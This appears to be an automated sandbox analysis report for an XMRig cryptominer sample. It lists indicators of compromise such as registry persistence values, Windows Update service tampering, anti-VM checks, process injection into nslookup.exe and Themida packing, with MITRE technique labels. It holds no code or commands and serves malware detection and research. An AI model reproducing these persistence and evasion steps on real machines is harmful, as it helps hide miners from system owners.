xmrig | a289e1661fee6dd7acc4b0876df7dce1b4dd997c5eecda7eabc537f5f9ada024

description	ioc	Process
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Parameters	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Security	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo\0	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo\1	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo	reg.exe

Suspicious use of NtCreateUserProcessOtherParentProcess 2 IoCs

description	pid	Process	procid_target
PID 4232 created 3296	4232	CoreGuardMgr3586.exe	56
PID 3488 created 3296	3488	nslookup.exe	56

Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 8 IoCs

defense_evasion

Query Registry

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	SoftAgent339820.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	5qsazfq2ujr1.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	NetAgenta1a6e0.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	NetAgenta1a6e0.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	odrv6oxwf.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	CoreGuardMgr3586.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	NetAgenta1a6e0.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	m3bq8t5r.exe

XMRig Miner payload 12 IoCs

miner

resource	yara_rule
behavioral1/memory/5036-308-0x0000000140000000-0x000000014080D000-memory.dmp	xmrig
behavioral1/memory/5036-311-0x0000000140000000-0x000000014080D000-memory.dmp	xmrig
behavioral1/memory/5036-310-0x0000000140000000-0x000000014080D000-memory.dmp	xmrig
behavioral1/memory/5036-309-0x0000000140000000-0x000000014080D000-memory.dmp	xmrig
behavioral1/memory/5036-307-0x0000000140000000-0x000000014080D000-memory.dmp	xmrig
behavioral1/memory/5036-305-0x0000000140000000-0x000000014080D000-memory.dmp	xmrig
behavioral1/memory/5036-313-0x0000000140000000-0x000000014080D000-memory.dmp	xmrig
behavioral1/memory/5036-320-0x0000000140000000-0x000000014080D000-memory.dmp	xmrig
behavioral1/memory/5036-321-0x0000000140000000-0x000000014080D000-memory.dmp	xmrig
behavioral1/memory/5036-322-0x0000000140000000-0x000000014080D000-memory.dmp	xmrig
behavioral1/memory/5036-324-0x0000000140000000-0x000000014080D000-memory.dmp	xmrig
behavioral1/memory/5036-325-0x0000000140000000-0x000000014080D000-memory.dmp	xmrig

Command and Scripting Interpreter: PowerShell 1 TTPs 26 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
4936	powershell.exe
5080	powershell.exe
1820	powershell.exe
3448	powershell.exe
1240	powershell.exe
4588	powershell.exe
1904	powershell.exe
1240	powershell.exe
2120	powershell.exe
1952	powershell.exe
2292	powershell.exe
2528	powershell.exe
3448	powershell.exe
1904	powershell.exe
3988	powershell.exe
1944	powershell.exe
3448	powershell.exe
2464	powershell.exe
2292	powershell.exe
2840	powershell.exe
4588	powershell.exe
3268	powershell.exe
1992	powershell.exe
1580	powershell.exe
4328	powershell.exe
4620	powershell.exe

Downloads MZ/PE file 3 IoCs

flow	pid	Process
8	1244	controller.exe
3	1244	controller.exe
7	1244	controller.exe

Server Software Component: Terminal Services DLL 1 TTPs 4 IoCs

Terminal Services DLL

T1505.005

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\rvudfeddbh\Parameters\ServiceDll = "%systemroot%\\system32\\usosvc.dll"	reg.exe
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\fmndhgjmmd\Parameters\ServiceDll = "%SystemRoot%\\System32\\WaaSMedicSvc.dll"	reg.exe
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\hhtlgaxxae\Parameters\ServiceDll = "%systemroot%\\system32\\wuaueng.dll"	reg.exe
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\uygvhcbejv\Parameters\ServiceDll = "%SystemRoot%\\System32\\qmgr.dll"	reg.exe

Sets service image path in registry 3 TTPs 5 IoCs

This determines the executable launched when a service starts. It can be used to establish persistence.

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

Windows Service

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\plrlpiyfrn\ImagePath = "%SystemRoot%\\System32\\svchost.exe -k NetworkService -p"	reg.exe
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\rvudfeddbh\ImagePath = "%systemroot%\\system32\\svchost.exe -k netsvcs -p"	reg.exe
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\fmndhgjmmd\ImagePath = "%systemroot%\\system32\\svchost.exe -k wusvcs -p"	reg.exe
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\hhtlgaxxae\ImagePath = "%systemroot%\\system32\\svchost.exe -k netsvcs -p"	reg.exe
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\uygvhcbejv\ImagePath = "%SystemRoot%\\System32\\svchost.exe -k netsvcs -p"	reg.exe

Checks BIOS information in registry 2 TTPs 16 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	m3bq8t5r.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	NetAgenta1a6e0.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	CoreGuardMgr3586.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	NetAgenta1a6e0.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	CoreGuardMgr3586.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	m3bq8t5r.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	SoftAgent339820.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	5qsazfq2ujr1.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	NetAgenta1a6e0.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	NetAgenta1a6e0.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	odrv6oxwf.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	SoftAgent339820.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	NetAgenta1a6e0.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	NetAgenta1a6e0.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	5qsazfq2ujr1.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	odrv6oxwf.exe

Creates new service(s) 2 TTPs
persistence execution

Windows Service
T1543.003

Service Execution
T1569.002
Cryptocurrency Miner
Makes network request to known mining pool URL.
miner
Disables service(s) 3 TTPs
defense_evasion execution

Windows Service
T1543.003

Service Stop
T1489

Service Execution
T1569.002

Executes dropped EXE 8 IoCs

pid	Process
4324	m3bq8t5r.exe
3052	SoftAgent339820.exe
4416	5qsazfq2ujr1.exe
4392	NetAgenta1a6e0.exe
1912	NetAgenta1a6e0.exe
4500	odrv6oxwf.exe
4232	CoreGuardMgr3586.exe
2820	NetAgenta1a6e0.exe

Registers new Windows logon scripts automatically executed at logon. 1 TTPs 1 IoCs

Logon Script (Windows)

T1037.001

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-939655444-3071939294-1401108526-1000\Environment\UserInitMprLogonScript = "C:\\Users\\Admin\\AppData\\Local\\Microsoft\\Temp\\A059EE23\\SoftAgent339820.exe"	m3bq8t5r.exe

Stops running service(s) 4 TTPs
defense_evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Themida packer 34 IoCs

Detects Themida, an advanced Windows software protection system.

themida

resource	yara_rule
behavioral1/files/0x000e000000024381-65.dat	themida
behavioral1/memory/4324-67-0x0000000140000000-0x00000001409C7000-memory.dmp	themida
behavioral1/memory/4324-68-0x0000000140000000-0x00000001409C7000-memory.dmp	themida
behavioral1/memory/3052-73-0x0000000140000000-0x00000001409C7000-memory.dmp	themida
behavioral1/memory/4324-75-0x0000000140000000-0x00000001409C7000-memory.dmp	themida
behavioral1/memory/3052-76-0x0000000140000000-0x00000001409C7000-memory.dmp	themida
behavioral1/memory/3052-77-0x0000000140000000-0x00000001409C7000-memory.dmp	themida
behavioral1/files/0x000f000000024381-81.dat	themida
behavioral1/memory/4416-83-0x0000000140000000-0x00000001409D6000-memory.dmp	themida
behavioral1/memory/4416-84-0x0000000140000000-0x00000001409D6000-memory.dmp	themida
behavioral1/memory/4392-89-0x0000000140000000-0x00000001409D6000-memory.dmp	themida
behavioral1/memory/4392-92-0x0000000140000000-0x00000001409D6000-memory.dmp	themida
behavioral1/memory/4416-91-0x0000000140000000-0x00000001409D6000-memory.dmp	themida
behavioral1/memory/1912-94-0x0000000140000000-0x00000001409D6000-memory.dmp	themida
behavioral1/memory/1912-96-0x0000000140000000-0x00000001409D6000-memory.dmp	themida
behavioral1/memory/1912-95-0x0000000140000000-0x00000001409D6000-memory.dmp	themida
behavioral1/files/0x000800000002438b-99.dat	themida
behavioral1/memory/4500-101-0x0000000140000000-0x0000000140BE8000-memory.dmp	themida
behavioral1/memory/4500-112-0x0000000140000000-0x0000000140BE8000-memory.dmp	themida
behavioral1/memory/4500-108-0x0000000140000000-0x0000000140BE8000-memory.dmp	themida
behavioral1/memory/4500-115-0x0000000140000000-0x0000000140BE8000-memory.dmp	themida
behavioral1/memory/4232-118-0x0000000140000000-0x0000000140BE8000-memory.dmp	themida
behavioral1/memory/4232-119-0x0000000140000000-0x0000000140BE8000-memory.dmp	themida
behavioral1/memory/4232-120-0x0000000140000000-0x0000000140BE8000-memory.dmp	themida
behavioral1/memory/4232-129-0x0000000140000000-0x0000000140BE8000-memory.dmp	themida
behavioral1/memory/4392-194-0x0000000140000000-0x00000001409D6000-memory.dmp	themida
behavioral1/memory/2820-329-0x0000000140000000-0x00000001409D6000-memory.dmp	themida
behavioral1/memory/2820-333-0x0000000140000000-0x00000001409D6000-memory.dmp	themida
behavioral1/memory/2820-336-0x0000000140000000-0x00000001409D6000-memory.dmp	themida
behavioral1/memory/2820-339-0x0000000140000000-0x00000001409D6000-memory.dmp	themida
behavioral1/memory/2820-358-0x0000000140000000-0x00000001409D6000-memory.dmp	themida
behavioral1/memory/2820-393-0x0000000140000000-0x00000001409D6000-memory.dmp	themida
behavioral1/memory/2820-428-0x0000000140000000-0x00000001409D6000-memory.dmp	themida
behavioral1/memory/2820-463-0x0000000140000000-0x00000001409D6000-memory.dmp	themida

Checks whether UAC is enabled 1 TTPs 8 IoCs

defense_evasion trojan

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	CoreGuardMgr3586.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	NetAgenta1a6e0.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	m3bq8t5r.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	SoftAgent339820.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	5qsazfq2ujr1.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	NetAgenta1a6e0.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	NetAgenta1a6e0.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	odrv6oxwf.exe

Power Settings 1 TTPs 4 IoCs

powercfg controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.

Power Settings

T1653

pid	Process
3012	powercfg.exe
1276	powercfg.exe
1900	powercfg.exe
548	powercfg.exe

Drops file in System32 directory 28 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\8B2B9A00839EED1DFDCCC3BFC2F5DF12	nslookup.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\8B2B9A00839EED1DFDCCC3BFC2F5DF12	nslookup.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\09B7CFCFBEBAD362B846E73EAF25FEFE	nslookup.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\3FE2BD01AB6BC312BF0DADE7F797388F_D700B3BF42AE699B26DDBDD3E4CB7EDD	nslookup.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B46811C17859FFB409CF0E904A4AA8F8	nslookup.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B46811C17859FFB409CF0E904A4AA8F8	nslookup.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\3FE2BD01AB6BC312BF0DADE7F797388F_D700B3BF42AE699B26DDBDD3E4CB7EDD	nslookup.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\5F263F63198568CED7739E17893D8775_C0AA92254C78A6BA967C0D4296D07AD9	nslookup.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\5F263F63198568CED7739E17893D8775_C0AA92254C78A6BA967C0D4296D07AD9	nslookup.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\09B7CFCFBEBAD362B846E73EAF25FEFE	nslookup.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\551D7685122C3BCF0F9B6EAE595D74D7_902354839A944131BA32226BAD75875D	nslookup.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\551D7685122C3BCF0F9B6EAE595D74D7_902354839A944131BA32226BAD75875D	nslookup.exe

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 4232 set thread context of 3488	4232	CoreGuardMgr3586.exe	124
PID 3488 set thread context of 5036	3488	nslookup.exe	219

Launches sc.exe 15 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
2464	sc.exe
2220	sc.exe
4240	sc.exe
1544	sc.exe
4948	sc.exe
1880	sc.exe
624	sc.exe
4576	sc.exe
2172	sc.exe
1368	sc.exe
4656	sc.exe
3796	sc.exe
5108	sc.exe
4384	sc.exe
920	sc.exe

Executes a command shell one-liner 1 TTPs 1 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
3956	cmd.exe

Checks processor information in registry 2 TTPs 24 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\2\~MHz	controller.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\2\ProcessorNameString	controller.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\3	controller.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\6\ProcessorNameString	controller.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	controller.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\~MHz	controller.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\4	controller.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\4\ProcessorNameString	controller.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\5\ProcessorNameString	controller.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\7	controller.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\7\~MHz	controller.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1	controller.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\6	controller.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\7\ProcessorNameString	controller.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\ProcessorNameString	controller.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\2	controller.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\3\~MHz	controller.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\3\ProcessorNameString	controller.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\4\~MHz	controller.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\5	controller.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\5\~MHz	controller.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\6\~MHz	controller.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	controller.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	controller.exe

Modifies data under HKEY_USERS 64 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.exe

Runs net.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

pid	Process
364	schtasks.exe

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
4392	NetAgenta1a6e0.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
5080	powershell.exe
5080	powershell.exe
1820	powershell.exe
1820	powershell.exe
1820	powershell.exe
1244	controller.exe
1244	controller.exe
3448	powershell.exe
3448	powershell.exe
1240	powershell.exe
1240	powershell.exe
4588	powershell.exe
4588	powershell.exe
1904	powershell.exe
